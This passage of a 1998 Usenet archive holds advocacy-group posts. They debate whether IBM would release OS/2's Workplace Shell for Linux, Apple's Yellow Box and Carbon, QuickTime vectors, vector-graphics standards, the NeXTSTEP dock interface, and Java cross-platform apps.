out these expensively developed secrets. There is also the issue of
licensing-portions of the WPS source code are probably licensed from other
corporate entities (I knew you could say Microsoft...) and would require
the permission of these other corporate entities for publication. The
above are only the first few reasons why IBM will never publish the WPS
source code any time soon, give me a little while and I can come up with a
few more.
Not that I would mind it-I would love to see the WPS running on Linux or
FreeBSD. It's just not going to happen though-it's more likely that IBM
would do the port themselves simply to protect their intellectual property
rights.
>-l
>
>---
>ICQ#: 9393354 * "Whenever you find that you are on the side of
>the majority, it is time to reform." -- Mark Twain
--
===========
Mike Trettel trettel (Shift 2) fred (dinky little round thing) net
Skep-Ti-Cult # 157-894589-983 ICQ # 15339850
I don't buy from spammers. No exceptions. Fix the reply line to mail me.
From: malcolm@plsys.co.uk
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors and Apple's graphics)
Date: Tue, 01 Dec 1998 13:06:53 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <740pl6$ag9$1@nnrp1.dejanews.com>
References: <73ie0q$35j@news1.panix.com> <B2825238-C25F@206.165.43.12> <73pg4r$49l@news1.panix.com> <slrn7614e1.iq8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <366094F1.484C0F7E@nstar.net> <73ue1l$att$1@nnrp1.dejanews.com> <73utbk$ork$1@nnrp1.dejanews.com>
In article <73utbk$ork$1@nnrp1.dejanews.com>,
> > Umm, you've been told this on many occasions now: YB is *not*
> > Objective-C; it is also accessible from Java as part of the standard
> > Apple distribution, and from Perl, Python etc. using TipTops'
> > Objective-Everything.
>
> Well, yes, mmalcolm. And Carbon isn't necessarily accessible from C
> alone. If my posting had had anything to do with what languages could
> *access* a particular API, I would have said so.
>
OK, sorry, it wasn't clear when I read it through first time.
mmalc.
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From: sdenbes1@san.rr.com (Steven C. Den Beste)
Newsgroups: comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: OS/2 and failure
Message-ID: <3665f04b.569033@news-server>
References: <365D8F89.87AF75E7@csi.com> <366067bb$1$rfgure$mr2ice@news.primenet.com> <8AB0DB974C012F47.3E699E1BE6D10974.D3D210F886594A99@library-proxy.airnews.net> <slrn767pnv.8vk.possum@ss5.fred.net>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Tue, 01 Dec 1998 05:35:58 -0800
NNTP-Posting-Date: Tue, 01 Dec 1998 05:36:03 PDT
Organization: TWC Road Runner, San Diego, CA
On Tue, 01 Dec 1998 12:54:24 GMT, Mike Trettel graced us with this wisdom:
>On Tue, 01 Dec 1998 02:39:18 GMT, Sheldon Gartner <a1050pi@yahoo.com> wrote:
>>
>>As the lowly end users, I'm interested in how difficult it would be
>>make OS/2's WorkPlace Shell open source then port it to Linux. It
>>seems as though IBM is much more likely to give away the OS/2 "family
>>jewels" than Apple is for OSX.
>>
>
>I'm surprised how often this one pops up. While there's no way I
>personally can know for sure, in my opinion IBM will never release the
>source code for the WPS. If they did in fact do so, it would most
>certainly be "giving away the family jewels"-which is exactly why IBM
>won't do it. IBM is not that foolish, and maintains one of the largest
>and most impressive intellectual property legal staffs ever seen on this
>planet for just that reason. Large portions of the WPS source code are
>most certainly either protected by patents (in which case anyone can look
>them up, you know) or are trade secrets (i.e, proprietary source code
>hidden deep within the bowels of IBM, and known to only a few select
>programmers). Since the only protection a trade secret has is, well,
>secrecy it wouldn't look very good to the stockholders to suddenly hand
>out these expensively developed secrets. There is also the issue of
>licensing-portions of the WPS source code are probably licensed from other
>corporate entities (I knew you could say Microsoft...) and would require
>the permission of these other corporate entities for publication. The
>above are only the first few reasons why IBM will never publish the WPS
>source code any time soon, give me a little while and I can come up with a
>few more.
>
>Not that I would mind it-I would love to see the WPS running on Linux or
>FreeBSD. It's just not going to happen though-it's more likely that IBM
>would do the port themselves simply to protect their intellectual property
>rights.
There's also this: What incentive does IBM have for doing this? Every time
this comes up people come up with all sorts of reasons why *they* wish IBM
would do it, but no-one can come up with a plausible motive for *IBM* to do
this.
How would releasing the WPS source benefit IBM? How would it increase their
profit? Since your hope is to port it to Linux, all that does is increase
the competitive pressure on OS/2 and cause profits to decline. How is that a
good thing for IBM?
--------
Steven C. Den Beste sdenbes1@san.rr.com
"Ignorance can be cured. Stupid is for life."
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: Switch nextstep -> linux ?
Date: Tue, 01 Dec 1998 13:40:48 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <740rkt$c32$1@nnrp1.dejanews.com>
References: <uFk42.5443$dB4.136204@carnaval.risq.qc.ca> <3651E28F.90C2A84A@inch.com> <3651F9C8.F5ADA57E@cygnus.com> <SCOTT.98Nov30210140@slave.doubleu.com>
scott@nospam.doubleu.com (Scott Hess) wrote:
> Services are, unfortunately, one of those wildly useful features that
> nobody knows they miss...
Agreed. And like many things in NeXTSTEP, they're one of those things that's
almost impossible to describe the advantages of. Like the poster you were
responding to, everyone thinks "well, I can do that already by just switching
apps and pasting". It's one of those things you have to use to see just how
useful it is. Of course, if Apple continues to keep MOSX hidden away in a
cellar somewhere, it's hard for people to do so.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
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From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors and Apple's graphics)
Date: Tue, 01 Dec 1998 13:58:33 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <740sm0$cv3$1@nnrp1.dejanews.com>
References: <73ie0q$35j@news1.panix.com> <B2825238-C25F@206.165.43.12> <73pg4r$49l@news1.panix.com> <slrn7614e1.iq8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <366094F1.484C0F7E@nstar.net> <36610f3e.0@news.depaul.edu> <3661612E.EA4077D1@nstar.net> <73uedp$baa$1@nnrp1.dejanews.com> <73uqab$m48$1@nnrp1.dejanews.com> <740n4t$8j5$1@nnrp1.dejanews.com>
malcolm@plsys.co.uk wrote:
> > Yes, a lot of people will buy OSX because it's the "latest and greatest"
> > version of the MacOS. But will the wizzy new features just be there? Some
> > will, like memory protection. But most will not until somebody writes apps
> > that take advantage of all those wizzy new features, eg apps that can
> > provide and accept services to/from other apps.
>
> Intersting point -- I wonder if Carbon apps will have Services? Whatever, I
> think that the improvements in basic OS service provision will result in a
> much better user experience (fewer crashes, faster system response etc) which
> will make the upgrade worthwhile...
Don't know if Carbon apps will have services. Obviously if they will, that
would already be a major step forward, though presumably it would involve
some re-writing of apps, as opposed to straight porting to Carbon.
And I agree on improvements to basic services alone making the upgrade
worthwhile; I've no doubt that anyone using a Mac box capable of running OSX
will rapidly adopt it. But if that's all there is, you'll only be selling to
the Mac market. "It crashes less than it used to" isn't exactly a compelling
marketing slogan.
> > But few people are writing such apps.
> > As a result, OSX will be a lot less exciting than it could have been, at
> > least early on. And so it'll be much more difficult for your average user to
> > perceive just how much of an improvement OSX really is.
> >
> ... I'm not so sure of that.
Mesa excepted, of course ;-)
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
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Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: The future of OS X Server is bleak
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References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net>
<73hti4$73$1@nnrp02.primenet.com> <gmgraves-2611981055120001@sf-usr0-43-107.dialup.slip.net>
<73kctc$cju$1@nnrp03.primenet.com> <F33923.H85@T-FCN.Net>
<365EE279.D5E5A5F2@ericsson.com> <F33HG5.Lw1@T-FCN.Net>
<365F1BD0.55ED9D2E@ericsson.com> <slrn75ui2n.gk2.mark@ns1.oaai.com>
<365F8F48.866F3FEB@nstar.net> <73pg4t$49l@news1.panix.com>
<F38zwM.3K0@T-FCN.Net> <us5af18txy1.fsf@kit.ai.mit.edu>
Mime-Version: 1.0
Date: Tue, 1 Dec 1998 15:34:33 GMT
In <us5af18txy1.fsf@kit.ai.mit.edu> Stephen Peters wrote:
> I'd have to disagree. Objective-Everything is currently my favorite
> development tool on the planet. I've had a few difficulties which I
> think may be due to inadequate docs (or maybe just my usual dimness),
> but the code itself seems to be rock-solid.
I don't mean in that respect, I was referring to the overall feel of the
system. I didn't use it long (just playing with it really) but it felt
unfinished in terms of _features_.
Maury
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Content-Type: text/plain; charset=us-ascii
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Sender: news@T-FCN.Net
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References: <F393ss.5zM@T-FCN.Net> <B2884F9F-EA959@206.165.43.165>
Mime-Version: 1.0
Date: Tue, 1 Dec 1998 15:32:46 GMT
In <B2884F9F-EA959@206.165.43.165> "Lawson English" wrote:
> OK, that is nice to hear. It took MS how long to bring this out?
It's been out for years, I was using it about two years ago, and it had
been out for some time then.
Maury
From: Mark Woodward <markw@mohawksoft.com>
Newsgroups: comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: OS/2 and failure
Date: Tue, 01 Dec 1998 10:55:23 -0500
Organization: Mohawk Software
Message-ID: <3664116B.8EF3ED09@mohawksoft.com>
References: <365D8F89.87AF75E7@csi.com> <366067bb$1$rfgure$mr2ice@news.primenet.com> <8AB0DB974C012F47.3E699E1BE6D10974.D3D210F886594A99@library-proxy.airnews.net> <slrn767pnv.8vk.possum@ss5.fred.net> <3665f04b.569033@news-server>
Mime-Version: 1.0
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Steven C. Den Beste wrote:
>
> On Tue, 01 Dec 1998 12:54:24 GMT, Mike Trettel graced us with this wisdom:
>
> There's also this: What incentive does IBM have for doing this? Every time
> this comes up people come up with all sorts of reasons why *they* wish IBM
> would do it, but no-one can come up with a plausible motive for *IBM* to do
> this.
>
> How would releasing the WPS source benefit IBM? How would it increase their
> profit? Since your hope is to port it to Linux, all that does is increase
> the competitive pressure on OS/2 and cause profits to decline. How is that a
> good thing for IBM?
>
> --------
> Steven C. Den Beste sdenbes1@san.rr.com
>
> "Ignorance can be cured. Stupid is for life."
This is the easiest question, why should IBM port WPS to Linux? Many
many reasons:
Give the OS/2 users an upgrade path.
Work out a lot of OS/2 to Linux issues and issue an IBM Linux with WPS.
(Which would be Soooo cool)
The prospect of an IBM Linux would be very cool, it could allow IBM to
sell into the high volume x86 market without Windows NT.
It would make a great companion to AIX.
They are already in the process of helping out SCO, why not port to
Linux as well.
I doubt there are any "trade" secrets or patents in WPS that mean
anything if OS/2 does without a WPS successor.
--
Mohawk Software
Expert Solutions Now! Windows 95, Windows NT, UNIX,
Linux. Applications, drivers, support.
Visit the Mohawk Software website: www.mohawksoft.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Content-Type: text/plain; charset=us-ascii
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Sender: news@T-FCN.Net
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Cc: henry@trilithon.com
Organization: needs one
References: <*johnnyc*-2711981727050001@jchristie.halifaxcable.dal.ca> <B28486B7-146CC@206.165.43.169>
<36633FC6.2DD6EB67@ncal.verio.com> <3663579A.4388D337@trilithon.com>
Mime-Version: 1.0
Date: Tue, 1 Dec 1998 15:46:30 GMT
In <3663579A.4388D337@trilithon.com> Henry McGilton wrote:
> Um, what's the state of PGML these days? I was interested in it
> for all of about three weeks, until Micro$oft and cronies decided
> to muddy the waters with VML, another competing 'standard' that
> is a typical Redmond pile of complicated detail and no architecture.
Hmmm, I found the VML docs themselves to be basically content free for
any level of detail, but from a high level it seemed pretty similar over
all, and made much better use of CSS style support. It didn't strike me as
_that_ bad!
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
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References: <36633FC6.2DD6EB67@ncal.verio.com> <B288EB60-3E40D@206.165.43.23>
<3663b0b8$0$200@nntp1.ba.best.com>
Mime-Version: 1.0
Date: Tue, 1 Dec 1998 15:50:08 GMT
In <3663b0b8$0$200@nntp1.ba.best.com> Kenneth C. Dyke wrote:
> On 05/11/98 you were asking if anyone was still interested in it,
> wondering if you'd wasted 16 months of your life on it so far.
> [The answer to that would probably be a resounding YES.]
Maybe he stopped to work on this new GX based page layout program he
claimed to be writing a few days ago.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
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References: <*johnnyc*-2711981727050001@jchristie.halifaxcable.dal.ca> <B28486B7-146CC@206.165.43.169>
<36633FC6.2DD6EB67@ncal.verio.com>
Mime-Version: 1.0
Date: Tue, 1 Dec 1998 15:44:41 GMT
In <36633FC6.2DD6EB67@ncal.verio.com> Mike Paquette wrote:
> > word-processor or drawing app that uses GX can *directly* turn itself
> into
> > a QT vectors image with no limitations or loss of fidelity.
>
> IF and only IF the developer calls all the right APIs...
Note that the single developer Lawson has mentioned that actually used
QTV, WebPainter, specifically disagrees with him on this point, and they
were able to add complete vector support without any GX. Of course the
argument itself is flawed. It's basing the survival of one product on the
fact that portions were used in another. That's a really bad idea that
cripped Apple's engineering in the early 90's.
It is interesting to consider whether or not GX is the right model in the
first place for QT, or whether something else that was actually designed
FOR QT wouldn't be more appropriate.
> *SNORT* What's this crap? The Cigarette Smoking Man work for Adobe
> these days? Adobe has lost control of the standards. More non-Adobe
> PostScript compatible RIPs are shipping than 'Genuine Adobe Inside'
> PostScript in commercial printers. A standards committee is already
> grinding away on PDF. Another standards group is working on an Internet
> Vector Graphics standard as an XGML extension. (Guess who's
> well-represented and quite active there.)
Speaking of, which of the two is currently "more active"? I liked both
basically, the Adobe supported format seemed richer (although the paint
servers concept needs work IMHO) but the MS/Visio supported one made much
better use of CSS. I'd definitely like to see some of the Adobe's format's
ivars offloaded into styles, then I think it would be much more powerful.
Maury
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors and Apple's graphics)
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References: <73ie0q$35j@news1.panix.com> <B2825238-C25F@206.165.43.12>
<73pg4r$49l@news1.panix.com> <slrn7614e1.iq8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
<366094F1.484C0F7E@nstar.net> <36610f3e.0@news.depaul.edu>
<3661612E.EA4077D1@nstar.net> <73uedp$baa$1@nnrp1.dejanews.com>
<73uqab$m48$1@nnrp1.dejanews.com> <740n4t$8j5$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Date: Tue, 1 Dec 1998 15:56:39 GMT
In <740n4t$8j5$1@nnrp1.dejanews.com> malcolm@plsys.co.uk wrote:
> I think most developers do appreciate what YB offers, it's more that some
> don't trust Apple to deliver (partly because of ill-informed FUD spread by
> various people), and others simply because of the amount of investment
> the already have in existing technologies.
Yes, and yes. I know most of the Mac developers here in Toronto (more
than you may imagine) and I'd say that the entire issue right there.
There's also a definite amount of "they think they're better than we are"
in some cases, but for the most part it's simply impractical.
Let is soak for a while, and developers WILL start looking at it.
> Intersting point -- I wonder if Carbon apps will have Services?
Possible, via AppleScript hooks, but I'd say the chance of it being in
Client is practically zero.
> I think that the improvements in basic OS service provision will result
in a
> much better user experience (fewer crashes, faster system response etc)
> which will make the upgrade worthwhile...
Browser speed is one that I think most will come to appreciate. Then
again this G3 jumped leaps ahead of my older PMacs already.
> Agreed -- they're not being *totally* silent about YB, though, but I do
> think they could raise the noise level by a dB or two.
Indeed.
Maury
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: MacOS X User Interface
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References: <366121D4.6811@earthlink.net> <19981129100451.01040.00000032@ng-cg1.aol.com>
<F390n1.41w@T-FCN.Net> <73v71f$1k8$2@tallowcross.uni-frankfurt.de>
Mime-Version: 1.0
Date: Tue, 1 Dec 1998 16:08:55 GMT
In <73v71f$1k8$2@tallowcross.uni-frankfurt.de> Uli Zappe wrote:
> No. You *can* drop something lying on the shelf, but then it's deleted
> just like everything else - very consistent.
Dragging a tile to the trash does nothing, it will not accept the drag.
I do not know what you are talking about here.
> when you just want the representation of something (that's what it is!,
kind
> of a bookmark) to disappear from the shelf.
Which the new desktop system does via alias's which are removed via a drag
to the trash.
When I drag things onto the desktop I expect them to end up on the
desktop. This is not the case for OS4.2, which not only did not allow
this, but used this action to represent "remove from dock" which
> Then you looked at it the wrong way.
No, I looked at it the right way, it didn't do what I wanted it to do. I
use specific documents more than I use specific applications, true for most
people, and thus any "quick access" gizmo should support documents. The
desktop does, the dock didn't.
> NEXTSTEP's desktop is the *shelf*, not the dock. The shelf is really just
It will also not accept drags. Unless it did prior to 4.2.
> Why would you oppose a "desktop in a window"?
I don't. Why would you think I do?
> The dock is the "menu of running apps"
The apps in the doc do not have to be running. In fact, apps in the dock
and those not in the dock use different systems for indicating they are
running, another inconsistency.
Maury
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: New date for OS X Server?
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Organization: needs one
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<72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com>
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<739lhb$g1r@news1.panix.com> <SCOTT.98Nov30212634@slave.doubleu.com>
Mime-Version: 1.0
Date: Tue, 1 Dec 1998 16:28:02 GMT
In <SCOTT.98Nov30212634@slave.doubleu.com> Scott Hess wrote:
=> What does NT _server_ sell for? What does Netware _server_ sell
> for? What does AppleShare _server_ sell for?
>
> NT Server is called that because it's intended for serving networks.
> Netware is a server because it's intended to _be_ the network (in some
> senses). MacOS X Server is called "Server" because it's too far
> advanced to be lumped in with MacOS 8.x.
>
> Compared to MacOS 8.x or Windows 95/98, MacOS X Server will be an
> _excellent_ server. Compared to Windows NT Workstation and Server on
> commodity hardware, MacOS X Server will hold its own. Compared to
> Linux or FreeBSD on commodity hardware, Solaris on Sun hardware, or NT
> Server on high-end Compaq hardware, MacOS X Server will be a sucky
> server indeed.
Hmmmm, I can't say I really agree with this line of logic. You're saying
in the first bit that what makes these products a server is that that's
they way they are sold (well, at least in the NT group), the intensions of
the OS. In the next part you state that this is not true for Apple and
they only give it this name because it's generally powerful
I think you'll find it hard to back up this claim.
Maury
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: MacOS X User Interface
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Organization: needs one
References: <366121D4.6811@earthlink.net> <19981129100451.01040.00000032@ng-cg1.aol.com>
<F390n1.41w@T-FCN.Net> <3663A2B1.854@earthlink.net>
Mime-Version: 1.0
Date: Tue, 1 Dec 1998 16:24:56 GMT
In <3663A2B1.854@earthlink.net> Steve Kellener wrote:
> Isn't this "NeXT Advocacy" Maury?
>
> You always seem to put down all the things that were great about NeXT.
Facinating. Can you name five examples? This is where interface is ONE
issue.
> Especially the interface. I realize that NeXT is no more, but I'm
> really not sure why you always post against anything anybody happens to
> say they like about NeXT/Openstep. Just wondering, why do you even read
> this group if you don't like anything NeXT had to offer?
This post is a joke, right? I always find the usenet amazing. Here I'm
being called a no-good NeXT basher, while in other threads in the *same
group* I'm being called a brainless NeXT supporter. Facinating.
Steve, do you believe the NeXT interface is _perfect_.
No?
Then when I discsuss these imperfections I'll thank you not to
characterize them as NeXT bashing.
Maury
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: MacOS X User Interface
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Cc: willadams@aol.com
Organization: needs one
References: <73v71f$1k8$2@tallowcross.uni-frankfurt.de> <19981130203807.00836.00000579@ng-cg1.aol.com>
Mime-Version: 1.0
Date: Tue, 1 Dec 1998 16:20:41 GMT
In <19981130203807.00836.00000579@ng-cg1.aol.com> WillAdams wrote:
> Maury, I use a Mac (running 8.1) at work and loathe every minute of it.
That's not the point, the point is the specifics of the interface.
a) YB needs disclosures, and now it has them
b) the dock has it's purposes, but the OS one was poor
c) different iconic/visual representations were used for
identical purposes, and vice versa
d) the interface was large, it needs high res to work
Note that the entirety of your message has nothing to do with these
issues, and is clearly a "gee, he says some parts of OS are not perfect,
therefore he must think the Mac is better at everything".
> Maury, I don't beleive you understand the semantics of dropping an app
> tile or icon from the browser shelf onto the desktop
I don't believe you have any facts whatsoever to back up this statement.
> dissappear from that location, but does _not_ delete it from the file
> system, this last is reserved for dragging a file into the Recycler.
I understand it perfectly. I drop things on the desktop in MacOS and
they go there. This is improved futher in Rhapsody, where it makes a link.
To remove these items, you drop them on the trash - as you can with text
selections, files, alias's etc.
Under OpenStep the dock accepted only certain types of items, and
removing them used a wholely unexpected mechanism. Can you delete text
under OS by dragging it to the desktop? No. can you drag items in
Workspace windows to the desktop to remove them? No. So why should this
work in the dock?
This is a bad interface. Whether or not the Mac has examples of bad
interface design (I can name hundreds) is besides the point. This is a bad
interface. Period.
> I don't understand this statement at all--I'm assuming that it alludes to
> some aspect of a developer's release which has not yet become public.
It became public long ago, specifically at WWDC, and the "leaked" GUI
report.
> The Dock at least is a desktop
The Dock is not a desktop.
> which is controllable and usable when
> applications are still on-screen and useful.
And I'm sure there will be docks for OS-X as well. In fact, you can
download Fiend today if you wish.
> Please don't tell me about <ALT/Option> clicking the desktop--it's
> normally not visible on my machine.
It works on any window.
> It's also ungainly to have to always go up to the
> Windows menu to get at a particular open file--Windowshading just doesn't
> cut it.
Indeed, it should be killed.
> Screens are getting bigger, NeXTstep takes advantage of this, the Mac OS
This statement is identical to saying that NT takes "advantage" of bigger
drives because it wastes so much space.
Not everyone has a large monitor. Most never will.
Maury
From: possum@tree.branch (Mike Trettel)
Newsgroups: comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: OS/2 and failure
References: <365D8F89.87AF75E7@csi.com> <366067bb$1$rfgure$mr2ice@news.primenet.com> <8AB0DB974C012F47.3E699E1BE6D10974.D3D210F886594A99@library-proxy.airnews.net> <slrn767pnv.8vk.possum@ss5.fred.net> <3665f04b.569033@news-server>
Organization: Twinco, Inc.
Message-ID: <slrn7686ls.9s3.possum@ss5.fred.net>
Date: Tue, 01 Dec 1998 16:35:09 GMT
NNTP-Posting-Date: Tue, 01 Dec 1998 11:35:09 EDT
On Tue, 01 Dec 1998 05:35:58 -0800, Steven C. Den Beste <sdenbes1@san.rr.com>
wrote:
>On Tue, 01 Dec 1998 12:54:24 GMT, Mike Trettel graced us with this wisdom:
Wisdom...I like the sound of that :-)
>>
>>Not that I would mind it-I would love to see the WPS running on Linux or
>>FreeBSD. It's just not going to happen though-it's more likely that IBM
>>would do the port themselves simply to protect their intellectual property
>>rights.
>
>There's also this: What incentive does IBM have for doing this? Every time
>this comes up people come up with all sorts of reasons why *they* wish IBM
>would do it, but no-one can come up with a plausible motive for *IBM* to do
>this.
>
>How would releasing the WPS source benefit IBM? How would it increase their
>profit? Since your hope is to port it to Linux, all that does is increase
>the competitive pressure on OS/2 and cause profits to decline. How is that a
>good thing for IBM?
>
>--------
>Steven C. Den Beste sdenbes1@san.rr.com
>
>"Ignorance can be cured. Stupid is for life."
Good questions. A couple of reasons why IBM might do so are:
A) Provide an upgrade/escape path for longtime OS/2 users. This plausibly
helps IBM by getting the SOHO users off IBM's back.
B) Provides a solution and/or and also possibly provides them with support
contracts for large corporate types who want an "easy" Linux.
C) Builds goodwill amongst the Linux and/or FreeBSD community. This is not
as ridiculous as it sounds. A great part of MS's troubles have to do with
their image amongst the more technically savvy out there. Loosing goodwill
amongst the knowledgable also had a great deal to do with IBM's fall from
grace a few years back. If you don't think a software house can't or won't
provide complex enduser software for free simply to grab marketshare
and/or goodwill, then I suppose you never heard of Internet Explorer or
Communicator or StarOffice 5.0.
Please note that none of the above presumes that IBM releases the source
code to the WPS-I'm assuming that IBM would do the work themselves. The
reason why, of course, is to protect their IP rights.
--
===========
Mike Trettel trettel (Shift 2) fred (dinky little round thing) net
Skep-Ti-Cult # 157-894589-983 ICQ # 15339850
I don't buy from spammers. No exceptions. Fix the reply line to mail me.
From: "Pascal Haakmat" <ahaakmat@cable.a2000.nl>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: Tue, 01 Dec 1998 18:37:51 +0100
Organization: A2000 Kabeltelevisie & Telecommunicatie
Message-ID: <7419hk$bvd$1@pascal.a2000.nl>
References: <199811251000.LAA32318@replay.com>
<gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net>
<73hti4$73$1@nnrp02.primenet.com>
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In article <F38zpu.3Fr@T-FCN.Net> , maury@remove_this.istar.ca (Maury
Markowitz) wrote:
>> sugar coating. But in my experience, there's enough of it to make small to
>> medium sized apps. And it _does work_ across platforms, if you forget
>> about using it in browsers.
>
> Hmmm. As far as I can tell that eliminates the VAST majority of these
>apps. As noted, on Sun's own list I was unable to find such an example.
>Now that's not to say they don't exist, but the only example I can think of
>is Corel, which was a massive failure.
There's a Hotline client written in Java by yours truly. I find it to be a
most gratifying experience, programming on the Mac OS, running on any OS
that I have to use. And, getting reports that it actually does work on
platforms I never tested it on. I suppose that if there is only one person
using one program that is better served with Java than with anything else,
then the technology deserves to exist.
>> The differences between the *nix, Mac OS and Windows
>> implementations of the AWT are generally very small.
>
> Well I simply have to agree with MS on this one - people don't want
>crappy apps. They will gladly sacrifice platform flexibility for
>usability. Platform independence is of interest primarily to two groups,
>developers and IT managers. As it stands, I don't believe AWT is of much
>help to either.
It is to me. See above..
>> The whole point of cross-platform application distribution is moot anyway,
>> since every OS follows different conventions on how applications are
>> distributed and packaged. That's just not something that Java solves.
>
> That's an interesting point, I never thought of it that way. But doesn't
>Java attempt to solve this by it's very nature?
No, it doesn't. Java is just a language and a runtime environment, geared
neatly towards eachother. Because the language and runtime environment have
networking and a sandbox model built into the core, stuff like network
delivery becomes a _possibility_. Because network delivery needs networking
and security.
The problem is that both of these, in turn, impose restrictions on the
_kind_ of things you can do. If the kind of thing you want to do canot be
covered in a network delivery model, then you can use a different model --
and the 'native app' model appears to strike a decent balance between the
kinds of things you can do and the amount of risk for a user running an app.
>The NetPC seems to suggest to me that the idea was to make the network the
>only delivery platform - wise or no.
Every hype has it's believers - for or against.
Pascal.
From: a1050pi@yahoo.com (Sheldon Gartner)
Newsgroups: comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: OS/2 and failure
Date: Tue, 01 Dec 1998 18:06:00 GMT
Organization: Airnews.net! at Internet America
Message-ID: <1996F6D52FD3E750.E8B5AC65C5FD51FE.4D47453205223D35@library-proxy.airnews.net>
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Abuse-Reports-To: abuse at airmail.net to report improper postings
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On Tue, 01 Dec 1998 05:35:58 -0800, sdenbes1@san.rr.com (Steven C. Den
Beste) wrote:
>How would releasing the WPS source benefit IBM? How would it increase their
>profit? Since your hope is to port it to Linux, all that does is increase
>the competitive pressure on OS/2 and cause profits to decline. How is that a
>good thing for IBM?
It's pretty simple, I think--overnight OS/2 (or at least its "look and
feel" would go from also-ran to center of the PC desktop future. All
they have to do is release the code and let the hackers of the world
do the rest. IBM gets a great deal of goodwill and think of all the
support stuff it could do while at the same time sticking a nice
pointy dagger into the heart of the Beast Of Redmond.... You cripple
M$ and suddenly IBM is much better able to make money in other markets
unrelated to the OS market. Just imagine all those Linux machines
running the OS/2 GUI...
I just get this sense that Linux is going to go from "that wonderful
OS without a GUI" to "that wonderful OS with the nice GUI from (OS/2
or RiscOS or OSX) that we all thought was computer history..." And I
think it's going to happen sooner rather than later.
I think such a move would instantly _cripple_ M$, esp if the GUI, were
ever it came from, were open sourced.
-l
---
ICQ#: 9393354 * "Whenever you find that you are on the side of
the majority, it is time to reform." -- Mark Twain
From: bowenjm@rintintin.Colorado.EDU (Jason Bowen)
Newsgroups: comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: OS/2 and failure
Date: 1 Dec 1998 17:55:38 GMT
Organization: University of Colorado, Boulder
Message-ID: <741aiq$9nl@peabody.colorado.edu>
References: <365D8F89.87AF75E7@csi.com> <366067bb$1$rfgure$mr2ice@news.primenet.com> <8AB0DB974C012F47.3E699E1BE6D10974.D3D210F886594A99@library-proxy.airnews.net> <slrn767pnv.8vk.possum@ss5.fred.net>
NNTP-Posting-User: bowenjm
Look at gnome or KDE.
Message-ID: <3664293D.3D8A7E56@trilithon.com>
From: Henry McGilton <henry@trilithon.com>
Organization: Trilithon Research
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
References: <3663579A.4388D337@trilithon.com> <B288E8CE-3496F@206.165.43.23>
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NNTP-Posting-Date: Tue, 01 Dec 1998 12:34:24 EDT
Date: Tue, 01 Dec 1998 09:37:01 -0800
Lawson English wrote:
* Henry McGilton <henry@trilithon.com> said:
* * Tried to describe 'true' 3D transforms in a three-by-three
* * matrix. The scale, rotate, and translate components ended up
* * occupying the same place(s) in the matrix, and there was
* * nowhere to specify the components for three-D perspective.
* * Obvious I'm no graphics or math whiz . . .
* Here's what George Wolberg (who IS a graphics/math whiz) says
* about the 3D perspective transform:
